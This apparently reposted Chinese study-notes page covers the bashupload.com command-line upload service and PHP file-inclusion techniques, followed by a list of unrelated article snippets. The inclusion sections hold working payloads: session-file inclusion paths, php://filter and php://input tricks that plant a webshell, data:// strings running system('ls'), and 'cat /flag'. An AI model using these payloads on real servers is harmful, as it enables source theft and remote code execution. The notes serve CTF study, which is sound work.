7月18日總結

bashupload / upload files from command line

遠程文件包含

介紹一個上傳文件的網站

bashupload.com

簡介

借助bashupload.com,可以簡樸地從下令行上傳文件,剖析給其他的服務器,桌面和移動裝備,最大支持25G。上傳的文件會被保留7天,時代可以無限次下載。

直接打開 https://bashupload.com 這個網站,首頁異常簡練,直接告訴你最主要的上傳下令,下方則是其他情形的下令示例的鏈接。

直接使用curl下令即可上傳文件,下令執行完成會給出下載的鏈接。

其中name.txt是把你希望最終鏈接出現的文件名,@后面是內陸的文件名。

curl https://bashupload.com/name.txt --data-binary @file.txt

獲得下載鏈接之后,直接使用wget即可下載

wget https://bashupload.com/xxxxx/name.txt

標紅是隨機生成

無論是curl命令上傳還是網頁直接上傳

效果一樣(標紅的路徑隨機生成,所以不一樣)

包含session文件

session、cookie、token的區別?_cookie session token區別-CSDN博客

可以先根據嘗試包含到SESSION文件,在根據文件內容尋找可控變量,在構造payload插入到文件中,最后包含即可。

利用條件:

找到Session內的可控變量
Session文件可讀寫,并且知道存儲路徑
php的session文件的保存路徑可以在phpinfo的session.save_path看到。

session常見存儲路徑:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在發送的請求的cookie字段中可以看到。
相關案例可以查看這道CTF題一道CTF題:PHP文件包含
?

?php偽協議

使用條件

file://是訪問本地文件

php://filter是查源碼

php://filter/convert.base64-encode/resource=文件路徑
php://filter/read=string.rot13/resource=<目標文件名> //rot13編碼后讀取文件內容
php://filter/convert.iconv.utf-8.utf-7/resource=<目標文件名> //將utf8編碼轉換utf7編碼
php://filter/convert.iconv.utf8.utf16/resource=<目標文件名>  //將utf8編碼轉換utf16編碼

php://imput是運行代碼

利用該方法,我們可以直接寫入php文件,輸入file=php://input,然后使用burp抓包,寫入php代碼:
在這里插入圖片描述
發送報文,可以看到本地生成了一句話木馬:
在這里插入圖片描述

data:// 偽協議的基本格式如下:

不編碼:

data://text/plain,<?php phpinfo();?>

編碼:

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

data://[<MIME-type>][;charset=<encoding>][;base64],<data>
MIME-type:指定數據的類型,默認為 text/plain。
charset(可選,默認為UTF-8):指定數據的編碼類型,如 utf-8。
base64(可選):如果數據經過 Base64 編碼,則需要加上 ;base64 標識。
data:實際的數據內容。
使用方式:在url后加上?file=data://text/plain,<?php system('ls'); ?>,可以使系統列出文件列表。亦可對data部分代碼進行url編碼繞過字符串過濾

zip://絕對路徑#壓縮包里面的文件名

傳遞的參數=system("ls");

查詢當前目錄

傳遞的參數=system("ls /");

查看根目錄

傳遞的參數=system("cat /flag");

打印flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/90047.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/90047.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/90047.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【leetcode】3202. 找出有效子序列的最大長度(2)

文章目錄題目題解題目 3202. 找出有效子序列的最大長度&#xff08;2&#xff09; 給你一個整數數組 nums 和一個 正 整數 k 。 nums 的一個 子序列 sub 的長度為 x &#xff0c;如果其滿足以下條件&#xff0c;則稱其為 有效子序列 &#xff1a; (sub[0] sub[1]) % k (su…

Linux內核網絡棧深度剖析:inet_connection_sock.c的服務器端套接字管理

引言 在Linux網絡協議棧中,net/ipv4/inet_connection_sock.c是實現面向連接協議(如TCP)服務器端邏輯的核心文件。它承載了從端口綁定、連接接受到資源回收的全流程管理,是構建高并發網絡服務的基石。本文將深入解析其關鍵機制和實現原理。 一、地址匹配:端口沖突檢測的基…

機器學習中核心評估指標(準確率、精確率、召回率、F1分數)

混淆矩陣混淆矩陣是一個表格&#xff0c;用于總結分類模型在測試集上的預測結果&#xff0c;特別是當真實標簽已知時。它將預測結果分為四種情況&#xff08;記憶&#xff1a;實際和預測一致為True&#xff0c;預測為正是Positive&#xff09;&#xff1a;真正例&#xff1a; 實…

從零搭建Cloud Alibaba

1.初始環境的搭建 1.1環境要求&#xff1a; Spring Boot 3.2.5&#xff1a; 基于最新的 Spring Framework 6.x。支持現代化開發模式&#xff0c;幫助開發更加高效。 JDK 17 或更高版本&#xff1a; Spring Boot 3.x 開始要求 Java 17 作為最低運行環境。 Spring Boot 與 Sp…

Spring AI 工具調用

文章目錄簡述工具定義工具上下文直接返回方法&#xff1a;直接返回工具執行框架控制工具執行用戶控制的工具執行異常處理簡述 工具調用&#xff08;也稱為函數調用&#xff09;是 AI 應用程序中的一種常見模式&#xff0c;允許模型與一組 API 或工具進行交互&#xff0c;從而增…

GitHub 趨勢日報 (2025年07月20日)

&#x1f4ca; 由 TrendForge 系統生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日報中的項目描述已自動翻譯為中文 &#x1f4c8; 今日獲星趨勢圖 今日獲星趨勢圖2033maybe737remote-jobs674Hyprland581n8n572shadPS4341bknd281Resume-Matcher249…

替代標準庫:實用 C++ 開源組件推薦

C17 及 C20 引入了許多現代化的標準庫組件&#xff0c;如 std::filesystem、std::optional、std::format、std::chrono 的增強&#xff0c;以及 std::expected 等。然而&#xff0c;在一些項目中&#xff0c;受限于老版本編譯器、不完善的標準庫實現&#xff0c;或跨平臺兼容性…

夯實基礎:配置Java開發環境JDK與構建工具Maven

摘要&#xff1a;在前面兩個章節中&#xff0c;我們一同探討了Spring Boot的革命性優勢&#xff0c;并深入其內部&#xff0c;理解了起步依賴、自動配置和內嵌容器這三大核心基石。理論的鋪墊是為了更穩健的實踐。從本章開始&#xff0c;我們將正式“卷起袖子”&#xff0c;搭建…

PyCharm 未正確關聯 .jpg 為圖片格式

1. PyCharm 未正確關聯 .jpg 為圖片格式PyCharm 可能錯誤地將 .jpg 文件識別為文本文件&#xff0c;導致無法預覽圖片。解決方法手動關聯 .jpg 為圖片格式&#xff1a;Windows/Linux: File → SettingsmacOS: PyCharm → Preferences進入 Editor → File Types。在 Recognized …

DM8數據庫Docker鏡像部署最佳實踐

DM8數據庫Docker鏡像部署最佳實踐一、Docker加載DM8鏡像二、Docker創建DM8容器三、驗證目錄是否掛載成功一、Docker加載DM8鏡像 1.下載DM8鏡像&#xff0c;由于官網暫未提供docker鏡像下載&#xff0c;可通過網盤下載&#xff1a;https://pan.quark.cn/s/fe38ba821a2a 2.打開…

數據結構——樹(2)

數據結構基礎&#xff08;12&#xff09; 文章目錄數據結構基礎&#xff08;12&#xff09;二叉樹的先序遍歷先序遍歷中序遍歷后序遍歷二叉樹的層序遍歷由遍歷序列構造二叉樹前序 中序遍歷序列后序 中序遍歷序列層序 中序遍歷序列二叉樹的中序遍歷&#xff08;缺點&#xff…

【C語言進階】結構體練習:通訊錄

要求&#xff1a; 實現一個通訊錄。 (1)人的信息&#xff1a; 包括姓名、年齡、性別、電話地址。 (2)功能&#xff1a; ①存放一百個人的信息。 ②增加聯系人。 ③刪除指定聯系人。 ④查找指定聯系人。 ⑤修改聯系人。 ⑥排序。 ⑦顯示聯系人。 (3)文件&#xff1a; ①contact.…

緩存三劍客解決方案

緩存三劍客解決方案 1.緩存雪崩 定義&#xff1a; 大量緩存數據在同一時間點集體失效&#xff0c;導致所有請求直接穿透到數據庫&#xff0c;引發數據庫瞬時高負載甚至崩潰。 解決方案&#xff1a; 設置過期隨機值&#xff0c;避免大量緩存同時失效。 // 緩存雪崩防護&#xff…

HTML 頁面禁止縮放功能

頁面禁止縮放 代碼如下&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta charset"utf-8"><meta name"viewport" content"widthdevice-width, initial-scale1, shrink-to-fitno, maximum-scale1.0, us…

在github上搭建自己主頁

主要是這篇博客進行一些補充。 第一步照做就行 首先是第二步 克隆倉庫到本地 先下載一個git&#xff0c;電腦創建一個新文件夾&#xff0c;然后 git clone xxxxx 注意即使你使用了代理&#xff0c;這里大概率也會報錯&#xff0c;Failed to connect to github.com port 443 …

Laravel 框架NOAUTH Authentication required 錯誤解決方案-優雅草卓伊凡

Laravel 框架NOAUTH Authentication required 錯誤解決方案-優雅草卓伊凡NOAUTH Authentication required 錯誤這個錯誤通常出現在以下幾種情況&#xff1a;Redis 認證問題&#xff1a;如果你的應用使用了 Redis 且配置了密碼API 認證問題&#xff1a;請求需要認證的 API 端點但…

kafka生產端和消費端的僵尸實例以及解決辦法

目錄 一 生產端僵尸 1.1 原因 1.2 問題 1.3解決辦法 1.4 案例 1.4.1 案例1&#xff1a;生產者崩潰后重啟 (同一 transactional.id) 1.4.2 案例2&#xff1a;短暫網絡分區導致的腦裂 1.4.3 案例3&#xff1a;正確 - 解決僵尸 1.4.4 案例4&#xff1a;錯誤 - 無法解決僵…

國產電科金倉數據庫金倉KES V9 2025:AI時代的數據庫融合標桿

國產電科金倉數據庫金倉KES V9 2025&#xff1a;AI時代的數據庫融合標桿 在AI技術迅猛發展的今天&#xff0c;企業數據管理面臨著前所未有的挑戰&#xff1a;異構數據庫兼容難題、多數據模型融合需求、高并發場景性能瓶頸、跨中心容災壓力……這些痛點如同數據流轉的大問題&am…

【STM32】關于STM32F407寫Flash失敗問題的解決辦法

問題描述 在使用正點原子的STM32F407寫flash例程時&#xff0c;發現STMFLASH_Write函數沒辦法寫入數據到flash&#xff0c;原始代碼輸入下&#xff1a; 隨后對每一行代碼的結果進行分析&#xff0c;發現87行的“FLASH_ProgramWord(WriteAddr,*pBuffer)”返回值是7&#xff0c;一…

CUDA與RISC-V的融合:打破架構霸權,重塑AI計算未來

當x86和Arm統治數據中心十余年后,一家GPU巨頭正悄悄將十億顆RISC-V核心嵌入其系統。如今,它決定拆除CPU架構的圍墻。 2025年7月,上海張江科學會堂。英偉達硬件工程副總裁Frans Sijstermanns在第五屆RISC-V中國峰會上宣布:英偉達正式啟動CUDA向RISC-V架構的移植工作。 這個…